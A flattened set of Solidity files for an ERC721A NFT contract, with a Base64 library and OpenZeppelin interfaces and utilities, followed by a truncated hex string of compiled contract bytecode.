/**
* @dev Provides a set of functions to operate with Base64 strings.
*/
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
/**
* Inspired by Brecht Devos (Brechtpd) implementation - MIT licence
* https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol
*/
if (data.length == 0) return "";
// Loads the table into memory
string memory table = _TABLE;
// Encoding takes 3 bytes chunks of binary data from `bytes` data parameter
// and split into 4 numbers of 6 bits.
// The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up
// - `data.length + 2` -> Round up
// - `/ 3` -> Number of 3-bytes chunks
// - `4 *` -> 4 characters for each chunk
string memory result = new string(4 * ((data.length + 2) / 3));
assembly {
// Prepare the lookup table (skip the first "length" byte)
let tablePtr := add(table, 1)
// Prepare result pointer, jump over length
let resultPtr := add(result, 32)
// Run over the input, 3 bytes at a time
for {
let dataPtr := data
let endPtr := add(data, mload(data))
} lt(dataPtr, endPtr) {
} {
// Advance 3 bytes
dataPtr := add(dataPtr, 3)
let input := mload(dataPtr)
// To write each character, shift the 3 bytes (18 bits) chunk
// 4 times in blocks of 6 bits for each character (18, 12, 6, 0)
// and apply logical AND with 0x3F which is the number of
// the previous character in the ASCII table prior to the Base64 Table
// The result is then added to the table to get the character to write,
// and finally write it in the result pointer but with a left shift
// of 256 (1 byte) - 8 (1 ASCII char) = 248 bits
mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))
resultPtr := add(resultPtr, 1) // Advance
mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))
resultPtr := add(resultPtr, 1) // Advance
mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))
resultPtr := add(resultPtr, 1) // Advance
mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))
resultPtr := add(resultPtr, 1) // Advance
}
// When data `bytes` is not exactly 3 bytes long
// it is padded with `=` characters at the end
switch mod(mload(data), 3)
case 1 {
mstore8(sub(resultPtr, 1), 0x3d)
mstore8(sub(resultPtr, 2), 0x3d)
}
case 2 {
mstore8(sub(resultPtr, 1), 0x3d)
}
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
collectionSize = collectionSize_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Utils {
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC165.sol";
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
} | 0x6080604052600436106101ee5760003560e01c80636352211e1161010d578063a0712d68116100a0578063c87b56dd1161006f578063c87b56dd146106df578063d7224ba01461071c578063e43082f714610747578063e985e9c514610770578063f2fde38b146107ad576101ee565b8063a0712d6814610646578063a22cb46514610662578063b88d4fde1461068b578063c6a91b42146106b4576101ee565b80637c928fe9116100dc5780637c928fe91461059c5780638da5cb5b146105c557806395d89b41146105f0578063982d669e1461061b576101ee565b80636352211e146104e057806370a082311461051d578063714c53981461055a578063715018a614610585576101ee565b806328cad13d116101855780633ccfd60b116101545780633ccfd60b1461043a57806342842e0e146104515780634f6ccce71461047a57806355f804b3146104b7576101ee565b806328cad13d1461036b5780632a55205a146103945780632f745c59146103d257806332cb6b0c1461040f576101ee565b8063095ea7b3116101c1578063095ea7b3146102c357806318160ddd146102ec5780631e84c4131461031757806323b872dd14610342576101ee565b806301ffc9a7146101f357806306fdde031461023057806307e89ec01461025b578063081812fc14610286575b600080fd5b3480156101ff57600080fd5b5061021a6004803603810190610215919061348f565b6107d6565b6040516102279190613c92565b60405180910390f35b34801561023c57600080fd5b50610245610850565b6040516102529190613cad565b60405180910390f35b34801561026757600080fd5b506102706108e2565b60405161027d919061400f565b60405180910390f35b34801561029257600080fd5b506102ad60048036038101906102a8919061354b565b6108ed565b6040516102ba9190613c02565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e5919061342a565b610972565b005b3480156102f857600080fd5b50610301610a8b565b60405161030e919061400f565b60405180910390f35b34801561032357600080fd5b5061032c610a94565b6040516103399190613c92565b60405180910390f35b34801561034e57600080fd5b5061036960048036038101906103649190613324565b610aa7565b005b34801561037757600080fd5b50610392600480360381019061038d9190613466565b610ab7565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190613574565b610b50565b6040516103c9929190613c69565b60405180910390f35b3480156103de57600080fd5b506103f9600480360